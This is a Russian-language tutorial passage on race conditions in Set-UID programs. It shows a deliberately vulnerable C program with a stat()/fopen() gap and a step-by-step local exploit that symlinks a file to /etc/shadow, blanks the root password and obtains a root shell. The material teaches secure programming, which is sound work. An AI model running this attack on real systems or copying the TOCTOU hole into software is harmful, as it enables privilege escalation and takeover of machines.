П О Р Т А Л                            
С Е Т Е В Ы Х                          
П Р О Е К Т О В                        
  
Поиск по сайту:
                                                 
Главная

О проекте

Web-мастеру
     HTML & JavaScript
     SSI
     Perl
     PHP
     XML & XSLT
     Unix Shell

MySQL

Безопасность

Хостинг

Другое








Самое читаемое:

Учебник PHP - "Для Чайника".
Просмотров 3524 раз(а).

Иллюстрированный самоучитель по созданию сайтов.
Просмотров 6122 раз(а).

Учебник HTML.
Просмотров 3276 раз(а).

Руководство по PHP5.
Просмотров 5498 раз(а).

Хостинг через призму DNS.
Просмотров 4148 раз(а).

Подборка текстов стандартных документов.
Просмотров 55773 раз(а).

Учебник PHP - Самоучитель
Просмотров 3093 раз(а).

Документация на MySQL (учебник & справочное руководство)
Просмотров 5749 раз(а).

Внешние атаки...
Просмотров 3843 раз(а).

Учебник PHP.
Просмотров 2826 раз(а).

SSI в примерах.
Просмотров 37463 раз(а).






 
 
| Добавить в избранное | Сделать стартовой Project.Net.Ru | Помощь





Первый пример

Рассмотрим поведение Set-UID программы, которой нужно сохранить данные в файле, принадлежащем пользователю. Мы могли бы, например, рассмотреть случай почтовой транспортной программы, такой как sendmail. Предположим, что пользователь может задать как имя файла, так и сообщение для записи в файл, что достаточно правдоподобно при некоторых обстоятельствах. В этом случае приложение должно проверить, принадлежит ли файл лицу, запустившему программу. Оно также проверит, что файл не является символической ссылкой на системный файл. Не будем забывать, что наша программа Set-UID root, и ей позволено изменять любой файл на машине. Соответственно она сравнит владельца файла со своим истинным UID. Давайте напишем что-нибудь вроде:

1     /* ex_01.c */
2     #include <stdio.h>
3     #include <stdlib.h>
4     #include <unistd.h>
5     #include <sys/stat.h>
6     #include <sys/types.h>
7
8     int
9     main (int argc, char * argv [])
10    {
11        struct stat st;
12        FILE * fp;
13
14        if (argc != 3) {
15            fprintf (stderr, "использование : %s файл сообщение\n", argv [0]);
16            exit(EXIT_FAILURE);
17        }
18        if (stat (argv [1], & st) < 0) {
19            fprintf (stderr, "не найден %s\n", argv [1]);
20            exit(EXIT_FAILURE);
21        }
22        if (st . st_uid != getuid ()) {
23            fprintf (stderr, "не владелец %s \n", argv [1]);
24            exit(EXIT_FAILURE);
25        }
26        if (! S_ISREG (st . st_mode)) {
27            fprintf (stderr, "%s не является обычным файлом\n", argv[1]);
28            exit(EXIT_FAILURE);
29        }
30
31        if ((fp = fopen (argv [1], "w")) == NULL) {
32            fprintf (stderr, "Невозможно открыть\n");
33            exit(EXIT_FAILURE);
34        }
35        fprintf (fp, "%s\n", argv [2]);
36        fclose (fp);
37        fprintf (stderr, "Запись сделана\n");
38        exit(EXIT_SUCCESS);
39    }

Как мы объясняли в нашей первой статье, было бы лучше для Set-UID приложения временно понизить свои привилегии и открыть файл, используя UID пользователя, запустившего его. Фактически, вышеописанная ситуация соответствует демону, предоставляющему услуги каждому пользователю. Всегда выполняясь под ID root-а, он должен бы делать проверку, используя UID вместо собственного истинного UID. И все же, мы оставим пока все как и есть, даже если это не так уж и правдоподобно, это поможет нам понять проблему, легко воспользовавшись дырой в безопасности.

Как мы можем видеть, программа начинает выполнение, проделывая все необходимые проверки, то есть: файл существует, принадлежит пользователю и это обычный файл. Далее она открывает файл и записывает сообщение. Вот где находится дыра! Или, более точно, она в промежутке времени между чтением атрибутов файла при помощи stat() и его открытием при помощи fopen(). Этот промежуток часто черезвычайно мал, однако атакующий может воспользоватся им и поменять параметры файла. Чтобы сделать нашу атаку попроще, добавим строку, которая заставит процесс ждать между двумя операциями, таким образом мы получим время, чтобы сделать работу вручную. Поменяем строку 30 (ранее пустую) и вставим:

30        sleep (20);

Теперь давайте выполним программу. Сначала сделаем ее Set-UID root. Сделаем, что очень важно, резервную копию нашего файла паролей /etc/shadow:

$ cc ex_01.c -Wall -o ex_01
$ su
Password:
# cp /etc/shadow /etc/shadow.bak
# chown root.root ex_01
# chmod +s ex_01
# exit
$ ls -l ex_01
-rwsrwsr-x 1 root  root    15454 Jan 30 14:14 ex_01
$

Все готово для атаки. Мы в дериктории, принадлежащей нам. Мы имеем Set-UID root утилиту (здесь ex_01), содержащую дыру в безопасности, и желаем заменить строку, соответствующую root из файла паролей /etc/shadow на строку, содержащую пустой пароль.

Сначала мы создаем файл fic, принадлежащий нам:

$ rm -f fic
$ touch fic

Далее, мы запускаем наше приложение в фоновом режиме. Мы просим его записать строку в этот файл. Приложение проверяет что следует и "засыпает" на некоторое время перед настоящим доступом к файлу.

$ ./ex_01 fic "root::1:99999:::::" &
[1] 4426

Содержимое строки root взято из man страницы shadow(5), самое важное - то что второе поле пусто (нет пароля). Пока процесс спит, у нас есть около 20 секунд, чтобы удалить файл fic и заменить его ссылкой (символической или жесткой - обе сработают) на файл /etc/shadow. Вспомним, что любой пользователь может создавать ссылку на файл в приндлежащей ему директории, даже если он не может прочитать его содержимое (или в /tmp, что мы увидим чуть попозже). Однако невозможно создать копию такого файла, так как это требует его полного прочтения.

$ rm -f fic
$ ln -s /etc/shadow ./fic

Далее мы попросим оболочку вернуть процесс ex_01 в приоритетный режим при помощи команды fg и подождем пока он завершится:

$ fg
./ex_01 fic "root::1:99999:::::"
Write Ok
$

Вуаля! Готово. Файл /etc/shadow содержит только одну строку, которая говорит, что root не имеет пароля. Вы не верите?

$ su
# whoami
root
# cat /etc/shadow
root::1:99999:::::
#

Закончим наш эксперимент, вернув старый файл паролей:

# cp /etc/shadow.bak /etc/shadow
cp: replace `/etc/shadow'? y
#

Назад | Содержание | Вперед



Если Вы не нашли что искали, то рекомендую воспользоваться поиском по сайту:
 





Copyright © 2005-2016 Project.Net.Ru